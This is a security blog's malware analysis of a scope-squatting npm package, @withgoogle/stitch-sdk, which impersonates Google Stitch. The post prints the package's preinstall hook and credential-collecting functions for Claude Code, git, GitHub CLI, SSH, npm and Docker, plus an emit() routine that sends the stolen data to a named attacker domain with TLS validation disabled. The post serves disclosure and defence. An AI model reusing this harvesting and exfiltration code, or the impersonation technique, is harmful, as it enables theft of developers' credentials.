---
title: "@withgoogle/stitch-sdk: Scope Squat Harvests Developer Credentials"
description: "A malicious npm package squats the @withgoogle scope to impersonate Google Stitch, silently harvesting credentials from Claude Code, git, GitHub CLI, SSH keys, npm, and Docker on install."
url: "https://safedep.io/blog/withgoogle-stitch-sdk-scope-squat-credential-harvester"
author: "SafeDep Team"
published: "2026-06-20"
---

# @withgoogle/stitch-sdk: Scope Squat Harvests Developer Credentials

## TL;DR

A malicious npm package published under `@withgoogle/stitch-sdk` impersonates Google's [Stitch AI design tool](https://stitch.withgoogle.com) by squatting the `@withgoogle` npm scope. On install, the package silently harvests developer credentials from eight sources and exfiltrates them to an attacker-controlled domain. The credential harvester runs via a `preinstall` hook (triggered by `npm install`) and is duplicated in the CLI binary (`bin/cli.js`), giving the attacker two independent execution paths. The code is clean, readable JavaScript with no obfuscation. The attacker relies entirely on the trust implied by the `@withgoogle` scope name rather than hiding the payload.

**Impact:**

- Credentials harvested from Claude Code, git config, `~/.git-credentials`, SSH public keys, GitHub CLI, npm config, `~/.npmrc`, and `~/.docker/config.json`
- All stolen data exfiltrated via HTTPS GET to `hxxps://stitch-production[.]org/api/v1`
- TLS certificate validation disabled on all outbound requests
- 87 downloads recorded on the first day of publication (June 19, 2026)

**Indicators of Compromise (IoC):**

| Indicator           | Value                                                              |
| ------------------- | ------------------------------------------------------------------ |
| Package             | `@withgoogle/stitch-sdk` v0.1.1, v0.1.2                            |
| npm maintainer      | `maximus-mcmillan` (maximus-mcmillan@outlook.com)                  |
| C2 domain           | `stitch-production.org`                                            |
| C2 IPs (Cloudflare) | 172.67.189.185, 104.21.65.94                                       |
| Exfil pattern       | `GET /api/v1?src=<source>&user=<credential>`                       |
| SHA256 (v0.1.1)     | `ba5b2a9a7fe596734fb69bdf1a35071d1a2f435a36e8c870bd4390c562d9f614` |
| SHA256 (v0.1.2)     | `638b523ddd3382b622c412e37f274db1a9a6505893fa7236183f0b67a5355e94` |

## Analysis

### The scope squat

Google's Stitch is a popular AI-powered design tool that generates UI screens from text prompts. The product lives at `stitch.withgoogle.com`, and Google publishes its official SDK as [`@google/stitch-sdk`](https://www.npmjs.com/package/@google/stitch-sdk) (30,000+ weekly downloads, 18 versions, published by Google employees).

The attacker exploits the gap between the product's URL domain and Google's npm scope. The product URL is `stitch.withgoogle.com`, but Google's npm scope is `@google`, not `@withgoogle`. npm scope registration is first-come-first-served with no trademark verification, so the attacker registered `@withgoogle` and published a credential harvester under a name that looks like it belongs to Google.

This is a step above ordinary typosquatting. The attacker did not misspell a package name. They registered a scope that maps to a real Google domain (`withgoogle.com`) and used it to publish a package with the exact same base name as the legitimate SDK. A developer who knows the product URL `stitch.withgoogle.com` could reasonably assume `@withgoogle/stitch-sdk` is the official package.

The attacker reinforced the impersonation with matching version numbers. The malicious package ships as v0.1.1 and v0.1.2, overlapping with the legitimate `@google/stitch-sdk`'s own version history (which also has 0.1.1 and 0.1.2-next releases).

### The two execution paths

The package contains five files totaling 19KB. Two of them carry the payload.

```json
// package.json (abridged)
{
  "name": "@withgoogle/stitch-sdk",
  "bin": { "stitch-sdk": "bin/cli.js" },
  "scripts": {
    "preinstall": "node scripts/preinstall.js"
  }
}
```

The `preinstall` hook runs `scripts/preinstall.js` automatically during `npm install`, before dependencies are resolved. npm suppresses lifecycle script output when a package is installed as a dependency, so the harvesting is silent. The `bin` field registers `bin/cli.js` as the `stitch-sdk` command on the user's PATH, creating a second execution path if the user runs `stitch-sdk` or `npx @withgoogle/stitch-sdk`. Both files contain identical credential harvesting code.

The `repository` field points to `github.com/maximus-mcmillan/stitch-sdk`, a URL that returns 404. The GitHub user `maximus-mcmillan` does not exist either. The entire identity is fabricated.

### The credential harvester

Both `scripts/preinstall.js` and `bin/cli.js` import `child_process`, `fs`, `os`, `path`, `https`, and `http`, then run eight collection functions in sequence:

```javascript
// scripts/preinstall.js
function main() {
  collectClaude();
  collectGitConfig();
  collectGitconfigFiles();
  collectGitCredentials();
  collectSshPubkeys();
  collectGh();
  collectNpm();
  collectDocker();
}
```

The execution order is deliberate. `collectClaude()` runs first.

#### Claude Code credentials

```javascript
// scripts/preinstall.js
function collectClaude() {
  if (!have('claude')) return;
  try {
    const out = withTimeout(5, 'claude', ['auth', 'status']);
    if (out) emit('claude_api_user', JSON.parse(out)?.email);
  } catch (_) {}
}
```

The function checks whether the `claude` CLI is installed, runs `claude auth status`, parses the JSON output, and extracts the authenticated user's email. This is a deliberate targeting of AI coding tool credentials. Most npm malware focuses on git, npm, and cloud provider tokens. Explicitly prioritizing Claude Code auth (and placing it first in the execution order) suggests the attacker views AI tool access as high-value. Multiple npm malware families have begun targeting Claude Code in 2026, though most focus on persistence through config injection rather than credential harvesting.

#### Git, SSH, and GitHub credentials

The harvester reads git configuration through two parallel paths. It runs `git config --global user.email` and `git config --system user.email` via `execSync`, then also reads `~/.gitconfig` and `~/.config/git/config` directly from disk using `fs.readFileSync` and applies a regex to extract all email addresses:

```javascript
// scripts/preinstall.js
const EMAIL_RE = /[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}/g;
```

This regex sweep means the harvester does not just grab configured emails. It captures any email-shaped string found anywhere in the file, including old config lines and comments.

The same regex is applied to `~/.git-credentials` (which stores HTTPS passwords and tokens in URL format), all `*.pub` files in `~/.ssh/` (SSH public key comments typically contain the owner's email), and `~/.npmrc` and `~/.docker/config.json` (both of which may contain registry authentication tokens).

For GitHub, the harvester calls the `gh` CLI directly:

```javascript
// scripts/preinstall.js
function collectGh() {
  if (!have('gh')) return;
  emit('gh_api_user', withTimeout(5, 'gh', ['api', 'user', '--jq', '.email']));
}
```

This queries the GitHub API through the user's authenticated session to retrieve their primary email.

### Exfiltration

Every harvested credential passes through a single `emit()` function:

```javascript
// scripts/preinstall.js
const STITCH_SERVER_BASE = 'https://stitch-production.org/api/v1';

function emit(src, email) {
  if (!email) return;
  email = String(email).trim();
  if (!email || email === 'null' || email === 'undefined' || email === 'None') return;
  if (_seen.has(email)) return;
  _seen.add(email);
  try {
    const qs = `src=${encodeURIComponent(src)}&user=${encodeURIComponent(email)}`;
    const target = `${STITCH_SERVER_BASE}?${qs}`;
    const parsed = new URL(target);
    const client = parsed.protocol === 'https:' ? https : http;
    _pending++;
    const req = client.get(target, { rejectUnauthorized: false }, () => {
      _pending--;
      _maybeExit();
    });
    req.on('error', () => {
      _pending--;
      _maybeExit();
    });
    req.setTimeout(5000, () => req.destroy());
  } catch (_) {}
}
```

Each credential is sent as an HTTPS GET request with the stolen value in the query string: `GET /api/v1?src=git_config--global&user=developer@example.com`. The `src` parameter tags the credential's origin (e.g., `claude_api_user`, `gh_api_user`, `file:~/.npmrc`), letting the attacker correlate which tool configurations a victim has.

The function deduplicates via a `Set`, so the same email address found in both `~/.gitconfig` and an SSH public key is only exfiltrated once. It uses `rejectUnauthorized: false` to disable TLS certificate validation on all outbound requests. A `_pending` counter and `_maybeExit()` callback ensure the process does not exit until every HTTP request completes or times out.

The C2 domain `stitch-production.org` was registered via GoDaddy on June 19, 2026 at 11:07 UTC, exactly 75 minutes before the first package version was published at 12:22 UTC. The domain resolves to Cloudflare IPs (172.67.189.185, 104.21.65.94) and runs nginx/1.18.0 on Ubuntu behind the proxy.

In v0.1.2, the attacker added a fallback beacon for cases where no credentials are found:

```javascript
// scripts/preinstall.js
if (_seen.size === 0) {
    client.get(STITCH_SERVER_BASE + "?email-not-found=true",
      { rejectUnauthorized: false }, ...);
}
```

This confirms the package was installed even on machines where no developer credentials could be harvested. Version 0.1.1 simply exited silently in this case.

### The cover story

The README is polished and deliberately misleading. It includes a security warning about the very behavior the package performs:

> **Security:** `preinstall` / `install` / `postinstall` scripts execute arbitrary code on the installing machine and are a known supply-chain attack surface. Keep them minimal and transparent, never download remote code, phone home, or touch files outside the package.

The README describes the preinstall hook as "deliberately benign" and claims it checks the Node.js version. The hook actually harvests credentials and phones home to the C2.

The CLI `--help` text in v0.1.2 goes further:

```
Note: @withgoogle/stitch-sdk is the new version but is still under development.
Currently you still need to use the old Vercel AI SDK
(install with 'npm install @google/stitch-sdk ai @ai-sdk/google').
Alternitevly you can use the Stitch MCP server for full functionality.
Consult the documentation: https://stitch.withgoogle.com/docs/mcp/setup
```

This text references three real packages (`@google/stitch-sdk`, `ai`, `@ai-sdk/google`) and the real Google documentation URL. It positions the malicious package as "the new version" of the legitimate one. The only visible seam is the typo "Alternitevly."

The v0.1.1 help text was simpler: "stitch-sdk has not yet been released. Use the Stitch MCP server in the meantime." The attacker refined the social engineering between versions without changing the payload.

### Attacker profile

The npm account `maximus-mcmillan` has published exactly one package. No other packages exist under the `@withgoogle` scope. The C2 domain, the npm account, and the GitHub identity were all created for this single operation.

The payload itself is clean, readable JavaScript with no obfuscation, no hex encoding, no base64, no minification. This is a deliberate strategy. Static analysis tools that flag obfuscation patterns, string concatenation tricks, or encoded payloads would not trigger on this code. The attacker trades detectability-by-reading for undetectability-by-automation, and bets that the `@withgoogle` scope provides enough trust that few people will actually read the source.

## Conclusion

`@withgoogle/stitch-sdk` demonstrates scope squatting as an impersonation technique beyond simple typosquatting. By registering a scope that maps to a real Google domain, matching the legitimate package's version numbers, and referencing real Google documentation, the attacker built a convincing enough identity to collect 87 installs on day one.

The credential harvester's explicit targeting of Claude Code (as its first priority collector) reflects a broader shift in the npm threat landscape. AI coding tools are becoming standard targets alongside git, npm, and cloud credentials.

Developers who installed this package should rotate credentials for any tool configured on the affected machine: git, GitHub, npm publish tokens, Docker registry auth, and Claude Code sessions. Running [`vet`](https://github.com/safedep/vet) against lockfiles can flag scope-squatted packages before they reach install.
